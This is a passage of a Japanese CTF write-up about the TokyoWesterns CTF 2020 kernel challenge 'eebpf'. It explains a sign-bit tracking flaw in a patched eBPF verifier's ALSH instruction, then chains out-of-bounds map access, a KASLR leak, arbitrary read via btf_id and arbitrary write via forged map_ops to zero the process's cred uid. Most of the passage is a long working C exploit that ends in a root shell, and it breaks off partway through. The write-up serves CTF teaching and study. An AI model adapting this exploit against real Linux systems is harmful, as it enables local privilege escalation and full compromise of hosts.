このエントリは TSG Advent Calendar 2020 の 25 日目の記事です(は？)
昨日は ゆうれい さんで よわよわの、よわよわによる、よわよわのための競技数学 でした。
イントロ
キライな言葉は optimized out。こんにちは、ニートです。 いつぞや開催されたTokyowesterns CTF 2020。その pwn 問題である eebpf: Extended Extended Barkeley Packet-filetr を解いていきます。本問題 kernel exploit です。
問題概要
eBPF について
最近なんかよく聞く eBPF。単純にトレース用途の話でも聞くし、LPE の餌食にもよくなっている印象。実際に、この問題を解く際の AAW を得るための方法は参考【A】を参考にした。eBPF の何たるかの概略もあるため一読の価値あり。参考【B】も eBPF の verifier の話である。
配布物
- bzImage: カーネルイメージ。
1/ $ cat /proc/version
2Linux version 5.4.58 (garyo@garyo) (gcc version 9.3.0 (Buildroot 2020.08-rc3)) #4 SMP Sun Aug 30 18:36:40- diff.patch: カーネルパッチ。後述。
- rootfs.cpio: ファイルシステム。特筆することなし。
- run.sh: SMEP/SMAP, KASLR, eBPF enabled.
patch について
パッチでは、eBPF に対して新しい命令として ALSH を追加している。それに伴って対応する JIT コードと verifier のコードが加えられている。32bit は対応していない。詳しい内容については以下で見ていく。
Vuln
まず大前提として、x64 において ALSH と LSH は全く同じ命令(ニーモニックが違うだけ)である。よって、LSHとALSHの verifier に相違があった場合、どちらかが必ず間違っていることになる。ということで、まずは LSH の方のレジスタ更新を見てみる。
lsh.c 1 case BPF_LSH:
2 if (umax_val >= insn_bitness) {
3 // bit幅を超えるシフトが起こったら追跡放棄
4 mark_reg_unknown(env, regs, insn->dst_reg);
5 break;
6 }
7 // シフトによって符号ビットが失われるため、一旦signedは追跡不能(全ての範囲を取り得る)
8 dst_reg->smin_value = S64_MIN;
9 dst_reg->smax_value = S64_MAX;
10 // 0以外のbitがシフトで消えたら、もう何も分からん
11 if (dst_reg->umax_value > 1ULL << (63 - umax_val)) {
12 dst_reg->umin_value = 0;
13 dst_reg->umax_value = U64_MAX;
14 } else { // 0しか消えないから、追跡可能
15 dst_reg->umin_value <<= umin_val;
16 dst_reg->umax_value <<= umax_val;
17 }
18 // tnum_lshift()は単にdst.value << shfit, dst.mask << shiftするだけ
19 dst_reg->var_off = tnum_lshift(dst_reg->var_off, umin_val);
20 // var_offを見るとなにか分かるかも
21 __update_reg_bounds(dst_reg);
22 break;続いて ALSH の追加された実装である。
alsh.c 1 case BPF_ALSH:
2 if (umax_val >= insn_bitness) {
3 // bit幅以上のシフトは放棄(OK)
4 mark_reg_unknown(env, regs, insn->dst_reg);
5 break;
6 }
7
8 // [VULN] 符号bit考慮せずに、smin/smaxを単純にシフトしている
9 // (ここに到達するまでにソースの値が確定しているumin==umax)
10 if (insn_bitness == 32) {
11 //Now we don't support 32bit. Cuz im too lazy.
12 mark_reg_unknown(env, regs, insn->dst_reg);
13 break;
14 } else {
15 dst_reg->smin_value <<= umin_val;
16 dst_reg->smax_value <<= umin_val;
17 }
18
19 // 単純にmaskとvalをシフトするだけだからOK
20 dst_reg->var_off = tnum_alshift(dst_reg->var_off, umin_val,
21 insn_bitness);
22
23 // これはまぁOK(追跡可能な場合もあるけど、追跡不能としておいて悪いことはない)
24 dst_reg->umin_value = 0;
25 dst_reg->umax_value = U64_MAX;
26 __update_reg_bounds(dst_reg);
27 break;脆弱性は、ALSH においてシフトの際に符号 bit が考慮されていないこと。 例えば (smin,smax) = (0, 1) であるような場合に左に 63bit シフトさせると、(0, S64_MIN) になる。これを再び右に 63bit だけ ALSH させると (0, -1) となる。 本来ならばこれは (S64_MIN, S64_MAX) となるべきである。(最初は 0bit 目の 0/1 だけがわからなかったが、これが 63bit 左シフトで符号ビットとなり、再び 63bit ARSH すると最初の 0bit 目が全ての bit に反映されるため)。
これを利用して、以下のようなコードで verifier に 0 だと信じさせて実際には(0,1)であるような値を生成することが可能である。尚、control_map は ARRAY マップであり、定数として 0,1 を入れておく。
sample-ex.c 1/* get cmap[0] */
2BPF_LD_MAP_FD(BPF_REG_1, control_map), // r1 = cmap
3BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP), // r2 = rbp
4BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8), // r2 -= 8
5BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0), // qword[r2] = 0
6BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0),
7BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // r0 = map_lookup_elem(cmap, 0)
8BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // jmp if r0!=0
9BPF_EXIT_INSN(),
10BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0), // r6 = cmap[0] (==0)
11
12/* get cmap[1] */
13BPF_LD_MAP_FD(BPF_REG_1, control_map), // r1 = cmap
14BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP), // r2 = rbp
15BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8), // r2 -= 8
16BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 1), // qword[r2] = 1
17BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // r0 = map_lookup_elem(cmap, 1)
18BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // jmp if r0!=0
19BPF_EXIT_INSN(),
20BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0), // r7 = cmap[1] (==1)
21
22/* exploit r6 range */
23BPF_ALU64_IMM(BPF_AND, BPF_REG_6, 3), // r6 &= 1
24BPF_ALU64_IMM(BPF_ALSH, BPF_REG_6, 63), // r6 s<< 63
25BPF_ALU64_IMM(BPF_ARSH, BPF_REG_6, 63), // r6 s>> 63
26BPF_ALU64_IMM(BPF_AND, BPF_REG_7, 1), // r7 &= 1
27BPF_ALU64_REG(BPF_ADD, BPF_REG_6, BPF_REG_7), // r6 += r7
28/* now, r6 is regarded as (0,0), but actually have 1 */これによって、実際には 1 が入っている R6 を、verifier に 0 と思わせることができるようになった。
OOB
原理
ここまででできていることは、本来 1 であるレジスタを verifier に 0 だと思わせることである。この 0 か 1 かで LPE されるかどうかが決まるんだから、難しい世の中だよなぁ。 さて、この R6 レジスタは実際には 1 を持っているが、verifier には 0 だと思われているため任意の定数をかけても 0 のままである。即ち、任意の値を 0 と考えさせることができる。以降は、このように生成した「verifier に 0 とみなされているが実際には任意の値を持っているレジスタ」のことを fake scalar と呼ぶことにする。 これによって、map の OOB(R/W)が可能である。具体的にはマップのアドレスをレジスタに入れた後で、その中程を指すように加算する。その後 fake scalar を任意に加減することで、レジスタはマップの境界外を指すようになる。
kernbase leak
これによってマップのアドレスを起点とした OOB(relative read/write)ができる。今回は ARRAY を利用しているため、マップは以下のような構造を持っている。
array_structure.sh 1pwndbg> p *(struct bpf_array*)0xffff888006644200
2$4 = {
3 map = {
4 ops = 0xffffffff81e168c0 <array_map_ops>,
5 inner_map_meta = 0x0 <fixed_percpu_data>,
6 security = 0x0 <fixed_percpu_data>,
7 map_type = BPF_MAP_TYPE_ARRAY,
8 key_size = 4,
9 value_size = 8,
10 max_entries = 3,
11 map_flags = 0,
12 spin_lock_off = -22,
13 id = 4,
14 numa_node = -1,
15 btf_key_type_id = 0,
16 btf_value_type_id = 0,
17 btf = 0x0 <fixed_percpu_data>,
18 memory = {
19 pages = 1,
20 user = 0xffff88800662e180
21 },
22 unpriv_array = true,
23 frozen = false,
24 refcnt = {
25 counter = 2
26 },
27 usercnt = {
28 counter = 1
29 },
30 work = {
31 data = {
32 counter = 0
33 },
34 entry = {
35 next = 0x0 <fixed_percpu_data>,
36 prev = 0x0 <fixed_percpu_data>
37 },
38 func = 0x0 <fixed_percpu_data>
39 },
40 name = '\000' <repeats 15 times>
41 },
42 elem_size = 8,
43 index_mask = 3,
44 owner_prog_type = BPF_PROG_TYPE_UNSPEC,
45 owner_jited = false,
46 {
47 value = 0xffff8880066442d0 "",
48 ptrs = 0xffff8880066442d0,
49 pptrs = 0xffff8880066442d0
50 }
51}
52
53pwndbg> x/90gx 0xffff888006644200
540xffff888006644200: 0xffffffff81e168c0 0x0000000000000000
550xffff888006644210: 0x0000000000000000 0x0000000400000002
560xffff888006644220: 0x0000000300000008 0xffffffea00000000
570xffff888006644230: 0xffffffff00000004 0x0000000000000000
580xffff888006644240: 0x0000000000000000 0xffffc90000000001
590xffff888006644250: 0xffff88800662e180 0x0000000000000001
600xffff888006644260: 0x0000000000000000 0x0000000000000000
610xffff888006644270: 0x0000000000000000 0x0000000000000000
620xffff888006644280: 0x0000000100000002 0x0000000000000000
630xffff888006644290: 0x0000000000000000 0x0000000000000000
640xffff8880066442a0: 0x0000000000000000 0x0000000000000000
650xffff8880066442b0: 0x0000000000000000 0x0000000000000000
660xffff8880066442c0: 0x0000000300000008 0x0000000000000000
670xffff8880066442d0: 0x0000000000000000 0x0000000000000001
680xffff8880066442e0: 0x0000000000000000 0x0000000000000000ここでマップのデータの内容は bpf_array.value に入っており、map_lookup_elem() によって取得できるのがこのアドレスである。map_array->map.ops にはマップの vtable のアドレスが入っているため、これを leak することで kernbase をリークすることができる。
何故これだけで AAR/W にならないのか
map 自体のアドレスを知る手段がないため、相対 R/W で任意アドレスを指定することができない。あくまでも今できることは map からの OOB による相対 R/W だけであり、かつこの map は動的に取得されるため他のシンボルとのオフセットが不明である。
AAR
bpf_map_get_info_by_id()@kernel/bpf/syscall.c では以下のように map->btf_id を返してくれる。
syscall.c1 if (map->btf) {
2 info.btf_id = btf_id(map->btf);
3 info.btf_key_type_id = map->btf_key_type_id;
4 info.btf_value_type_id = map->btf_value_type_id;
5 }
6(snipped...)
7 if (copy_to_user(uinfo, &info, info_len) ||
8 put_user(info_len, &uattr->info.info_len))
9 return -EFAULT;struct btf 内の btf.id のオフセットは 88 。よって、map.bpf の値を target - 88 に書き換えれば、target の値を読むことができる。
task traversal
kernbase が leak できているため AAR を用いて task traversal ができる。自分の PID が見つかるまで task の prev を辿っていけばいい。自分の task が分かれば自分の struct cred も分かるため、これの uid を 0 に書き換えるといういつものパターンに帰着する。
AAW
ここまでで AAR ができているが、肝心の AAW がまだできていない。可能な write は今の所 OOB による map 周辺の書き換えだけであり、これによって cred を書き換えなければならない。 先程 kernbase の leak に利用した array_map_ops は map に対する操作の vtable だが、これを書き換えることで任意の関数を呼び出すことができる。但し、マップ操作の関数テーブルであるから、全てのエントリは第一引数が map である。よって、他の通常の関数に書き換えても正しく動作することができず、同じ vtable の中にあるエントリに書き換えることが望ましい。 ここで参考【A】の ZDI の記事を参考にすると、map_get_next_key() が利用できることが分かる。
arraymap.c 1/* Called from syscall */
2static int array_map_get_next_key(struct bpf_map *map, void *key, void *next_key)
3{
4 struct bpf_array *array = container_of(map, struct bpf_array, map);
5 u32 index = key ? *(u32 *)key : U32_MAX;
6 u32 *next = (u32 *)next_key;
7
8 if (index >= array->map.max_entries) {
9 *next = 0;
10 return 0;
11 }
12
13 if (index == array->map.max_entries - 1)
14 return -ENOENT;
15
16 *next = index + 1;
17 return 0;
18}ここで next_key を cred.uid のアドレスにできれば UID を 0 クリアすることが可能である。map_push_elem() エントリを書き換えることでこの目的が達成できる。
map_push_elem.c1int bpf_map_push_elem(struct bpf_map *map, const void *value, u64 flags)flags は bpf システムコールの呼び出し時に任意の値に設定することができる。
制約
bpf_map_push_elem が呼び出されるのは map_update_elem()@kernel/bpf/syscall.c における以下のパスである。
syscall.c1map_update_elem()@kernel/bpf/syscall.c
2 } else if (map->map_type == BPF_MAP_TYPE_QUEUE ||
3 map->map_type == BPF_MAP_TYPE_STACK) {
4 err = map->ops->map_push_elem(map, value, attr->flags);よって、map_type を BPF_MAP_TYPE_STACK に変更しておく必要がある。また、このパスに到達するために map.spin_lock_off も 0 にしておく必要がある。 最後に、 if (index >= array->map.max_entries) の条件を満たすために map.max_entries を 0 辺りにしておく必要がある。こうすると、最後の next = index + 1; というパスには到達できない(任意の値を書き込むことはできない)が、今やりたいことは 0 を書くことだけであるため、これで十分である。 あとは map.ops を overwrite した偽の関数テーブルに差し替えれば OK である。
UID overwrite
上の AAW で UID を 0 にしたら、ユーザランドで setresuid(0,0,0) をして EUID を 0 にして終わり。
exploit
SMEP,SMAP,KASLR 有効。但し自前 kernel を用いた。kernel config は Github 参照。
exploit.c 1#define _GNU_SOURCE
2#include <sys/types.h>
3#include <stdio.h>
4#include <linux/userfaultfd.h>
5#include <stdlib.h>
6#include <fcntl.h>
7#include <signal.h>
8#include <string.h>
9#include <sys/mman.h>
10#include <poll.h>
11#include <sys/ioctl.h>
12#include <pthread.h>
13#include <sys/prctl.h>
14#include <assert.h>
15#include <err.h>
16#include <errno.h>
17#include <sched.h>
18#include <unistd.h>
19#include <linux/bpf.h>
20#include <linux/filter.h>
21#include <linux/prctl.h>
22#include <sys/syscall.h>
23#include <stdint.h>
24#include <sys/socket.h>
25#include <sys/uio.h>
26
27#define GPLv2 "GPL v2"
28#define ARRSIZE(x) (sizeof(x) / sizeof((x)[0]))
29
30#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
31 } while (0)
32void NIRUGIRI(void)
33{
34 char *argv[] = {"/bin/sh",NULL};
35 char *envp[] = {NULL};
36 execve("/bin/sh",argv,envp);
37}
38// eebpf
39#define BPF_ALSH 0xe0 /* sign extending arithmetic shift left */
40#define BPF_ALSH_REG(DST, SRC) BPF_RAW_INSN(BPF_ALU | BPF_ALSH | BPF_X, DST, SRC, 0, 0)
41#define BPF_ALSH_IMM(DST, IMM) BPF_RAW_INSN(BPF_ALU | BPF_ALSH | BPF_K, DST, 0, 0, IMM)
42#define BPF_ALSH64_REG(DST, SRC) BPF_RAW_INSN(BPF_ALU64 | BPF_ALSH | BPF_X, DST, SRC, 0, 0)
43#define BPF_ALSH64_IMM(DST, IMM) BPF_RAW_INSN(BPF_ALU64 | BPF_ALSH | BPF_K, DST, 0, 0, IMM)
44
45
46/* registers */
47/* caller-saved: r0..r5 */
48#define BPF_REG_ARG1 BPF_REG_1
49#define BPF_REG_ARG2 BPF_REG_2
50#define BPF_REG_ARG3 BPF_REG_3
51#define BPF_REG_ARG4 BPF_REG_4
52#define BPF_REG_ARG5 BPF_REG_5
53#define BPF_REG_CTX BPF_REG_6
54#define BPF_REG_FP BPF_REG_10
55
56#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \
57 ((struct bpf_insn) { \
58 .code = BPF_LD | BPF_DW | BPF_IMM, \
59 .dst_reg = DST, \
60 .src_reg = SRC, \
61 .off = 0, \
62 .imm = (__u32) (IMM) }), \
63 ((struct bpf_insn) { \
64 .code = 0, /* zero is reserved opcode */ \
65 .dst_reg = 0, \
66 .src_reg = 0, \
67 .off = 0, \
68 .imm = ((__u64) (IMM)) >> 32 })
69#define BPF_LD_MAP_FD(DST, MAP_FD) \
70 BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
71#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \
72 ((struct bpf_insn) { \
73 .code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM,\
74 .dst_reg = DST, \
75 .src_reg = SRC, \
76 .off = OFF, \
77 .imm = 0 })
78#define BPF_MOV64_REG(DST, SRC) \
79 ((struct bpf_insn) { \
80 .code = BPF_ALU64 | BPF_MOV | BPF_X, \
81 .dst_reg = DST, \
82 .src_reg = SRC, \
83 .off = 0, \
84 .imm = 0 })
85#define BPF_ALU64_IMM(OP, DST, IMM) \
86 ((struct bpf_insn) { \
87 .code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \
88 .dst_reg = DST, \
89 .src_reg = 0, \
90 .off = 0, \
91 .imm = IMM })
92#define BPF_ALU32_IMM(OP, DST, IMM) \
93 ((struct bpf_insn) { \
94 .code = BPF_ALU | BPF_OP(OP) | BPF_K, \
95 .dst_reg = DST, \
96 .src_reg = 0, \
97 .off = 0, \
98 .imm = IMM })
99#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \
100 ((struct bpf_insn) { \
101 .code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM,\
102 .dst_reg = DST, \
103 .src_reg = SRC, \
104 .off = OFF, \
105 .imm = 0 })
106#define BPF_ST_MEM(SIZE, DST, OFF, IMM) \
107 ((struct bpf_insn) { \
108 .code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \
109 .dst_reg = DST, \
110 .src_reg = 0, \
111 .off = OFF, \
112 .imm = IMM })
113#define BPF_EMIT_CALL(FUNC) \
114 ((struct bpf_insn) { \
115 .code = BPF_JMP | BPF_CALL, \
116 .dst_reg = 0, \
117 .src_reg = 0, \
118 .off = 0, \
119 .imm = (FUNC) })
120#define BPF_JMP_REG(OP, DST, SRC, OFF) \
121 ((struct bpf_insn) { \
122 .code = BPF_JMP | BPF_OP(OP) | BPF_X, \
123 .dst_reg = DST, \
124 .src_reg = SRC, \
125 .off = OFF, \
126 .imm = 0 })
127#define BPF_JMP_IMM(OP, DST, IMM, OFF) \
128 ((struct bpf_insn) { \
129 .code = BPF_JMP | BPF_OP(OP) | BPF_K, \
130 .dst_reg = DST, \
131 .src_reg = 0, \
132 .off = OFF, \
133 .imm = IMM })
134#define BPF_EXIT_INSN() \
135 ((struct bpf_insn) { \
136 .code = BPF_JMP | BPF_EXIT, \
137 .dst_reg = 0, \
138 .src_reg = 0, \
139 .off = 0, \
140 .imm = 0 })
141#define BPF_LD_ABS(SIZE, IMM) \
142 ((struct bpf_insn) { \
143 .code = BPF_LD | BPF_SIZE(SIZE) | BPF_ABS, \
144 .dst_reg = 0, \
145 .src_reg = 0, \
146 .off = 0, \
147 .imm = IMM })
148#define BPF_ALU64_REG(OP, DST, SRC) \
149 ((struct bpf_insn) { \
150 .code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \
151 .dst_reg = DST, \
152 .src_reg = SRC, \
153 .off = 0, \
154 .imm = 0 })
155#define BPF_MOV64_IMM(DST, IMM) \
156 ((struct bpf_insn) { \
157 .code = BPF_ALU64 | BPF_MOV | BPF_K, \
158 .dst_reg = DST, \
159 .src_reg = 0, \
160 .off = 0, \
161 .imm = IMM })
162
163int bpf_(int cmd, union bpf_attr *attrs) {
164 return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
165}
166
167int array_create(int value_size, int num_entries) {
168 union bpf_attr create_map_attrs = {
169 .map_type = BPF_MAP_TYPE_ARRAY,
170 .key_size = 4,
171 .value_size = value_size,
172 .max_entries = num_entries
173 };
174 int mapfd = bpf_(BPF_MAP_CREATE, &create_map_attrs);
175 if (mapfd == -1)
176 err(1, "map create");
177 return mapfd;
178}
179
180int array_update(int mapfd, uint32_t key, uint64_t value)
181{
182 union bpf_attr attr = {
183 .map_fd = mapfd,
184 .key = (uint64_t)&key,
185 .value = (uint64_t)&value,
186 .flags = BPF_ANY,
187 };
188 return bpf_(BPF_MAP_UPDATE_ELEM, &attr);
189}
190
191int array_update_big(int mapfd, uint32_t key, char* value)
192{
193 union bpf_attr attr = {
194 .map_fd = mapfd,
195 .key = (uint64_t)&key,
196 .value = value,
197 .flags = BPF_ANY,
198 };
199 return bpf_(BPF_MAP_UPDATE_ELEM, &attr);
200}
201
202unsigned long get_ulong(int map_fd, uint64_t idx) {
203 uint64_t value;
204 union bpf_attr lookup_map_attrs = {
205 .map_fd = map_fd,
206 .key = (uint64_t)&idx,
207 .value = (uint64_t)&value
208 };
209 if (bpf_(BPF_MAP_LOOKUP_ELEM, &lookup_map_attrs))
210 err(1, "MAP_LOOKUP_ELEM");
211 return value;
212}
213
214int prog_load(struct bpf_insn *insns, size_t insns_count) {
215 char verifier_log[100000];
216 union bpf_attr create_prog_attrs = {
217 .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
218 .insn_cnt = insns_count,
219 .insns = (uint64_t)insns,
220 .license = (uint64_t)GPLv2,
221 .log_level = 2,
222 .log_size = sizeof(verifier_log),
223 .log_buf = (uint64_t)verifier_log
224 };
225 int progfd = bpf_(BPF_PROG_LOAD, &create_prog_attrs);
226 int errno_ = errno;
227 //printf("==========================\n%s==========================\n",verifier_log);
228 errno = errno_;
229 if (progfd == -1)
230 err(1, "prog load");
231 return progfd;
232}
233
234int create_filtered_socket_fd(struct bpf_insn *insns, size_t insns_count) {
235 int progfd = prog_load(insns, insns_count);
236
237 // hook eBPF program up to a socket
238 // sendmsg() to the socket will trigger the filter
239 // returning 0 in the filter should toss the packet
240 int socks[2];
241 if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
242 err(1, "socketpair");
243 if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)))
244 err(1, "setsockopt");
245 return socks[1];
246}
247
248void trigger_proc(int sockfd) {
249 if (write(sockfd, "X", 1) != 1)
250 err(1, "write to proc socket failed");
251}
252
253
254/*** globals ***/
255int control_map = -1;
256int reader_map = -1;
257int writer_map = -1;
258int reader = -1;
259int aar_trigger = -1;
260unsigned long bpf_reg_fp = 0;
261unsigned long kernbase;
262const unsigned long diff_id_btf = 88;
263const unsigned long diff_btf_val = 0x90;
264
265unsigned long read_rel(void)
266{
267 unsigned long tmp = 0;
268 if(reader == -1){
269 printf("[ERROR] readers are not instantiated.\n");
270 return 0;
271 }
272
273 array_update(control_map, 0, 0);
274 array_update(control_map, 1, 1);
275 trigger_proc(reader);
276
277 tmp = get_ulong(control_map, 0);
278 //printf("[+] %llx\n", tmp);
279 return tmp;
280}
281
282unsigned long aar32(unsigned long _target)
283{
284 _target -= diff_id_btf;
285
286 // overwrite target bpf_map.btf
287 array_update(control_map, 0, 0);
288 array_update(control_map, 1, 1);
289 array_update(control_map, 2, _target);
290 trigger_proc(aar_trigger);
291
292 // read it
293 struct bpf_map_info leaker;
294 union bpf_attr myattr = {
295 .info.bpf_fd = reader_map,
296 .info.info_len = sizeof(leaker),
297 .info.info = &leaker,
298 };
299 bpf_(BPF_OBJ_GET_INFO_BY_FD, &myattr);
300 return leaker.btf_id;
301}
302
303unsigned long aar64(unsigned long _target){
304 unsigned long lower = aar32(_target);
305 unsigned long higher = aar32(_target + 4) << 32;
306 return higher + lower;
307}
308
309int aaw_done = -1;
310
311unsigned long aaw32zero(unsigned long _target, unsigned int val, unsigned long writer_map_addr)
312{
313 if(aaw_done != -1){
314 printf("[ERROR] aaw32 can be called only once.");
315 exit(0);
316 }
317 aaw_done = 1;
318 /*****
319 * ffffffff81e168c0 D array_map_ops
320 * ffffffff81148850 t array_map_get_next_key
321 *
322 * array_map_ops = {
323 map_alloc_check = 0xffffffff81148780 <array_map_alloc_check>,
324 map_alloc = 0xffffffff811491a0 <array_map_alloc>,
325 map_release = 0x0 <fixed_percpu_data>,
326 map_free = 0xffffffff81148ee0 <array_map_free>,
327 map_get_next_key = 0xffffffff81148850 <array_map_get_next_key>,
328 map_release_uref = 0x0 <fixed_percpu_data>,
329 map_lookup_elem_sys_only = 0x0 <fixed_percpu_data>,
330 map_lookup_elem = 0xffffffff811489d0 <array_map_lookup_elem>,
331 map_update_elem = 0xffffffff81148dd0 <array_map_update_elem>,
332 map_delete_elem = 0xffffffff81148880 <array_map_delete_elem>,
333 map_push_elem = 0x0 <fixed_percpu_data>,
334 map_pop_elem = 0x0 <fixed_percpu_data>,
335 map_peek_elem = 0x0 <fixed_percpu_data>,
336 map_fd_get_ptr = 0x0 <fixed_percpu_data>,
337 map_fd_put_ptr = 0x0 <fixed_percpu_data>,
338 map_gen_lookup = 0xffffffff81148c60 <array_map_gen_lookup>,
339 map_fd_sys_lookup_elem = 0x0 <fixed_percpu_data>,
340 map_seq_show_elem = 0xffffffff81148ad0 <array_map_seq_show_elem>,
341 map_check_btf = 0xffffffff81148a50 <array_map_check_btf>,
342 map_direct_value_addr = 0xffffffff811487e0 <array_map_direct_value_addr>,
343 map_direct_value_meta = 0xffffffff81148810 <array_map_direct_value_meta>
344}
345 then, offset of map_push_elem is 0x50.
346
347 *****/
348 const unsigned long target = _target;
349
350 const struct bpf_insn aaw_insns[] = {
351
352 /* get cmap[0] */
353 BPF_LD_MAP_FD(BPF_REG_1, control_map), // r1 = cmap
354 BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP), // r2 = rbp
355 BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8), // r2 -= 8
356 BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0), // qword[r2] = 0
357 BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0),
358 BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // r0 = map_lookup_elem(cmap, 0)
359 BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // jmp if r0!=0
360 BPF_EXIT_INSN(),
361 BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0), // r6 = cmap[0] (==0)
362
363 /* get cmap[1] */
364 BPF_LD_MAP_FD(BPF_REG_1, control_map), // r1 = cmap
365 BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP), // r2 = rbp
366 BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8), // r2 -= 8
367 BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 1), // qword[r2] = 1
368 BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // r0 = map_lookup_elem(cmap, 1)
369 BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // jmp if r0!=0
370 BPF_EXIT_INSN(),
371 BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_0, 0), // r7 = cmap[1] (==1)
372
373 /* get cmap[3] == writer map addr */
374 BPF_LD_MAP_FD(BPF_REG_1, control_map), // r1 = cmap
375 BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP), // r2 = rbp
376 BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8), // r2 -= 8
377 BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 3), // qword[r2] = 2
378 BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // r0 = map_lookup_elem(cmap, 2)
379 BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // jmp if r0!=0
380 BPF_EXIT_INSN(),
381 BPF_LDX_MEM(BPF_DW, BPF_REG_9, BPF_REG_0, 0), // r9 = cmap[3] (==target addr)
382
383 /* exploit r1 range */
384 BPF_ALU64_IMM(BPF_AND, BPF_REG_6, 1), // r6 &= 1
385 BPF_ALU64_IMM(BPF_ALSH, BPF_REG_6, 63), // r6 s<< 63
386 BPF_ALU64_IMM(BPF_ARSH, BPF_REG_6, 63), // r6 s>> 63
387 BPF_ALU64_IMM(BPF_AND, BPF_REG_7, 1), // r7 &= 1
388 BPF_ALU64_REG(BPF_ADD, BPF_REG_6, BPF_REG_7), // r6 += r7
389 /* now, r6 is regarded as (0,0), but actually (0, -1) */
390 BPF_ALU64_IMM(BPF_MUL, BPF_REG_6, 0x300), // r6 *= 0x150 (still regarded as 0)
391
392 /* get &writermap */
393 BPF_LD_MAP_FD(BPF_REG_1, writer_map), // r1 = wmap
394 BPF_MOV64_REG(BPF_REG_2, BPF_REG_FP), // r2 = rbp
395 BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -0x8), // r2 -= 8
396 BPF_ST_MEM(BPF_DW, BPF_REG_2, 0, 0), // qword[r2] = 0
397 BPF_ST_MEM(BPF_DW, BPF_REG_2, -8, 0),
398 BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // r0 = map_lookup_elem(rmap, 0)
399 BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), // jmp if r0!=0
400 BPF_EXIT_INSN(),
401 BPF_MOV64_REG(BPF_REG_8, BPF_REG_0), // r8 = wmap[0]
402
403 /* make point R8 to target */
404 BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 0x600),
405 BPF_ALU64_REG(BPF_SUB, BPF_REG_8, BPF_REG_6),
406 BPF_ALU64_REG(BPF_SUB, BPF_REG_8, BPF_REG_6), // r8 == &wmap[0] now
407 BPF_ALU64_IMM(BPF_SUB, BPF_REG_8, 0xD0), // r8 == &wmap.map_ops
408
409 /* overwrite map_ops */
410 BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_9, 0),
411
412 /* overwrite spin_lock_off to 0 */
413 BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 44), // r8 == &wmap.map.spin_lock_off
414 BPF_ST_MEM(BPF_W, BPF_REG_8, 0, 0),
415
416 /* overwrite map_type to BPF_MAP_TYPE_STACK */
417 BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, -44 + 24), // r8 == &wmap.map.map_type
418 BPF_ST_MEM(BPF_W, BPF_REG_8, 0, 23),
419
420 /* oeverwrite map.max_entries to 0 */
421 BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 12), // r8 == &wmap.map.max_entries
422 BPF_ST_MEM(BPF_W, BPF_REG_8, 0, 0),
423
424
425 /* Go home */
426 BPF_MOV64_IMM(BPF_REG_0, 0), // r0 = 0
427 BPF_EXIT_INSN()
428 };
429
430 int aaw_trigger = create_filtered_socket_fd(aaw_insns, ARRSIZE(aaw_insns));
431
432 // overwrite target bpf_map.btf
433 array_update(control_map, 0, 0);
434 array_update(control_map, 1, 1);
435 array_update(control_map, 2, target);
436 array_update(control_map, 3, writer_map_addr);
437 trigger_proc(aaw_trigger);
438
439 // overwrite
440 const unsigned long key = 10;
441 const unsigned long value = 0; // not used
442 union bpf_attr nirugiri = {
443 .map_fd = writer_map,
444 .key = &key,
445 .value = &value,
446 .flags = target,
447 };
448 return bpf_(BPF_MAP_UPDATE_ELEM, &nirugiri);
449}
450
451void copy_map_ops(int mapfd, unsigned long addr_map_ops)
452{
453 printf("[+] copying/overwriting map_ops...\n");
454 char *copied_map = calloc(0x700, 1);
455 unsigned long *maps = copied_map;
456 // copy map_ops
